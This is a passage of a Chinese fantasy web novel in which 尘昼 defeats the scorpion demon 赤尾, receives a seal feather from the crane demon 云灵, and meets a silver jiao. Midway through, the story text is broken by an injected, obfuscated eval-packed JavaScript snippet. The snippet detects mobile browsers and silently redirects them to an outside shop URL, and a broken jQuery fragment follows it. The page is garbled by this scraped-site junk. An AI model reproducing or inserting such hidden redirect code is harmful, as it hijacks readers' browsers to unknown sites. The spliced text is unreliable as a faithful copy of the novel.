蛛丝感知在岩浆河被削弱。
赤尾的体温太高了,光站在那里就能把蛛丝融断。
尘昼无法靠感知锁定它的弱点。
赤尾的第二击来了——他的速度比夜无声还快,金色的眼睛拉成模糊的流光。尘昼避开冲撞,用虎啸逼退赤尾,然后借机后退到了岩浆河的石带上。
赤尾尾巴高高翘起,钩尖上那滴红液终于落下来。
那滴红液落在黑色岩床上。
一圈红色的火浪向四周扩散,把这片岩床烧出了熔壳。尘昼踩着被烧裂的石块向后翻,里衣被火浪燎到,烧出一道黑边。
他看着赤尾。"……你尾巴上那滴东西攒了多久?"
赤尾咧嘴:"不用攒。流多少出多少。"
他的尾巴红液重新凝聚。
这下麻烦了。他的攻击不需要蓄力,可以连续不断放。这地下空间没有水源和风,只有滚烫的岩床和流动的岩浆。
尘昼蹲在石带上喘气扫过这片空间。蛛丝感知虽被削弱了,但火浪炸开之后,赤尾脚下的岩石也在熔化,他的脚避开了红区。
他的尾巴温度连自己都不能长时间接触。尘昼把这句话记住,然后做了赤尾没有预料到的动作——他往岩壁退了三步,退到靠近苔藓的地方。
红苔藓那里比别处湿润一些。
赤尾皱了皱眉朝他逼近两步,尘昼削下了一片苔藓甩进岩浆河里。
苔藓落进熔岩炸开一团白汽。那蒸汽带着怪味。赤尾的尾巴在那团蒸汽上方缩了一下——钩尖上刚凝出来的那滴液体在碰到蒸汽,蒸发掉了小半滴。
他的火毒在碰到矿物蒸汽会被消掉一部分。尘昼不知道自己这个发现对不对,但他没有犹豫的时间。他又削下几片苔藓在脚下踩碎,让粉屑飘散在身边的空气里,形成雾障。
赤尾的第二波攻击到了。尾尖横扫,火毒溅射,炸裂的火浪朝尘昼的方向冲过来——但这一次,火浪碰到雾障顿时弱了几分。如火遇湿柴,燃烧的势头被压住了。
尘昼在这时冲进去。
他避开赤尾爆开的火舌,从侧面贴到了赤尾的腰腹。热浪烤得他半边身子发红,但他的左手已经扣住了赤尾肩膀与尾巴之间的连接处——那里有块微凸的区域。
赤尾的身体僵了。
他低头看着扣在自己肩膀上的那只手,喉结动了一下,"……你找到了。"
尘昼没有松开手。他感觉到指腹下的那块凉意正在发亮,一层银白色的印记从皮肤下浮上来,他靠近赤尾轻声问:"那句'别碰那个'——她指的是什么?"
赤尾他的嘴角动了一下,扯出一个复杂的笑。
"……指你啊。"
赤尾的躯体从肩膀开始碎裂,红色的纹路一片一片地崩裂,像烧透了的陶器从中间裂开。火浪退去,滚烫的空气慢慢降温,只剩岩浆河还在缓缓流淌,发出咕噜声。
尘昼攥着一枚滚烫的赤红色内丹。蝎纹印记正在沉入皮肤,一枚钩尾从腕骨延伸到小指根部,片刻后消失不见。
第八段记忆碎片涌进来。
画面很短只有一瞬:银白色的身影伸出一只手挡在了他的面前。那只手的姿态是拦阻的,五指张开像在护着什么。
"别碰那个。"
尘昼站了很久,他把内丹裹进掌心里。他抬头看了一眼岩浆河。红色的光映在他琥珀色的眼底,像两团被水泡软了的余烬。
后脖子传来一阵刺痛。
他伸手摸了一下,那道银白色的纹路似乎又长了些。他转身走出了地底通道。身后是缓缓冷却的岩浆,和一片空了的黑色礁石。
还剩两只。
尘昼从地底出来的时候天亮了。
晨光从东边大山里翻上来照在红色的砂砾上,把昨夜滚烫的石头晒出一层白晕。他站在洞口眯着眼,把热气烤卷的碎发往后拢了拢。
怀里八颗内丹挤在一起,沉甸甸的像一捧攒久的石子。他低头拍了拍衣襟往南走。
走了一天一夜。
中间歇过一次,他在一条干涸的溪沟里蹲半个时辰,啃了路上捡的干饼。饼太硬了硌得牙疼,但咽下去胃里有了东西,那股燥热慢慢退下去。
暮色降临,他看见了落魂渊的轮廓。
十二座荒山在夕阳里镀了金红色,妖气从谷底漫上来。
他顺着南边的山坡往下走。脚步慢一些,身上多出来的东西让步子沉了几分。
九处鳞纹——左眼角两片、右眼角两片、左右指尖各一片、左右掌心各一片、锁骨一片、后颈一道。十处了。
尘昼走到妖市没有进去,在外围那排枯柳下停住脚蹲下来。他把竹签从袖口里抽出来,在地上画了两道平行的线,又画了第三道。
九只了。
算上云灵的话,这就是第九只。
可云灵和其他妖不一样——他不靠吞噬,他自愿把封印剥离出来。他说过:代价是失去全部妖力,变回凡鹤飞走再没回来。
尘昼盯着地上那三道线看了一会儿,把竹签收起来往妖市里走。雾气吞了他的身影,周围的妖摊像往常一样,见他纷纷往两边缩。
他穿过摊位区在东角找到了云灵。
鹤妖今晚又穿着那件灰色的旧袍,靠在枯柳树底下,手里没捏叶子。他像知道尘昼今晚会来,一直站在这里没离开过,从上一夜等到这一夜。尘昼站到他面前。
两人隔着两步像上次一样,雾气从脚边流过。
"第八只吃了。"尘昼说。
云灵在他眼角多出来的鳞纹上,停留了片刻,又滑到他锁骨露出来的一角银白。"……你身上已经没多少原来的东西了。"
"嗯。"
"你现在照镜子还能认出自己吗?"
尘昼认真想了想,然后说:"不太能了。但也没什么大不了。"
云灵那双向来清冷的眼睛里,涟漪还没展开就收了回去。他垂眼从袖口里抽出一根灰羽。羽尾一抹淡淡的银泽。
"第九片封印在我这里。"
尘昼低头看着那根羽毛。白色的羽毛和他身上其他九处鳞纹发出的气息一样柔和。
"我该怎么拿?"
"不需要吃。"云灵把羽毛往前递了递,"你拿着就好。"
尘昼摊开掌心。云灵把那根羽毛轻轻放在他手里。羽毛落上,银光顺着尘昼掌心渗入皮肤,像被体温融化的雪水。
他感觉左肋传来一阵暖意,像有人用手指在皮肤上按了下。第九片鳞纹在那里浮现出来,银白色,薄如蝉翼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893026|212791||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
尘昼收拢手指,把已经空了羽毛握住。他感觉不到任何能力——鹤鸣千里没有进入他的身体,云灵把力量连同封印一起剥离了,留下了一片空白的羽毛。
他抬头看云灵。
鹤妖的身形比刚才矮了。
他的肩膀在变窄,那双细长的腿正在变成一对灰白的爪子。羽发从发根开始褪色,从灰白变成纯白,他的妖力正在流走。像一壶水被打翻了,哗啦一声连声音都听不见,就渗进了土里,什么都没剩下。
云灵的脖子不再细长了,袍子空荡荡地挂在一副缩小的骨架上。佩剑掉在了地上,几片灰羽从他肩上飘落,落在雾里又被风吹走。
最后一只白鹤站在尘昼面前。
它比普通鹤稍小,脖颈纤细,眼睛里那双灰色的瞳仁已经缩成了黑点,白鹤看了尘昼一眼。一眨眼的工夫,它张开翅膀往南飞走了。
尘昼望着那道身影越来越远,被落魂渊的雾气吞没了。他掌心的羽毛变得枯叶没有分别。银光已经全部渗进了他体内,羽毛变成了边角料。他把羽毛收进怀里没有扔。
喉咙里虎啸安静了,右手的麻痒感也消失了。身上九处鳞纹贴着他的皮肤伏着,像是九枚归位的棋子。只剩最后一处了。
妖市的灯火还在幽幽地亮着,隔着一层雾像隔着很远的记忆,"小昼,你长大了。"云灵那句话在尘昼脑子里转了一圈。
他的后脑勺在树干碰了一下发出一声闷响,月亮从云层后面露出来又大又圆。"我知道了。"他把怀里八颗内丹和一根羽毛重新放好。
北面的天空很黑,但那里有东西正在等着他,"最后一趟了。"他把这句话含在舌尖在心里过默念,然后走进夜色里。
尘昼往北走了三天。
头一天走过了枯骨山,第二天穿过了悬棺崖下那片石滩,第三天翻过了一道矮山,进入了一片他从未来过的平地。
地平得不像天然的,所有的起伏都碾平了。灰绿色的草踩上去沙沙响。视野开阔能看到天边的光晕,分不清是月光还是日光。
尘昼怀里九颗内丹沉得像揣了半块铁。他没有把它们拿出来看过——他知道自己身上有多少鳞纹,知道自己还剩最后一段记忆没有拿回来。
最后一段。他走了三天,前面什么都没有。没有树木河流,连岔路都没有,只有一片空旷的平原,第三天夜里尘昼停了下来。
不是他想停的。
前方二十丈的地方有东西,让他的蛛丝感知轻震。那种震感很熟悉——属于娇蛇的气息。他走了三天就是被这气息牵引着,断断续续引着他。
现在他走到这里,气息浓到像一堵墙,让他走半步都会撞进去。
银白色的月光自己聚拢了起来。
那东西越来越高。
先是一条细长的白鳞片尾巴从光中探出来,银白鳞片一片一片铺开,每片都映着月光。然后是一双前爪,四趾,覆鳞扣在上。
最后是头。额上有一支独角,通体银白向前弯曲,尖端是珍珠光。
那双眼睛睁开了,银灰色的竖瞳里面没有攻击性。一条通体银白银蛟,额生独角,腹下两爪已经化龙,另外两爪还是蛟形。
她盘在前方安静地看着他,尘昼隔着二十丈和她对视。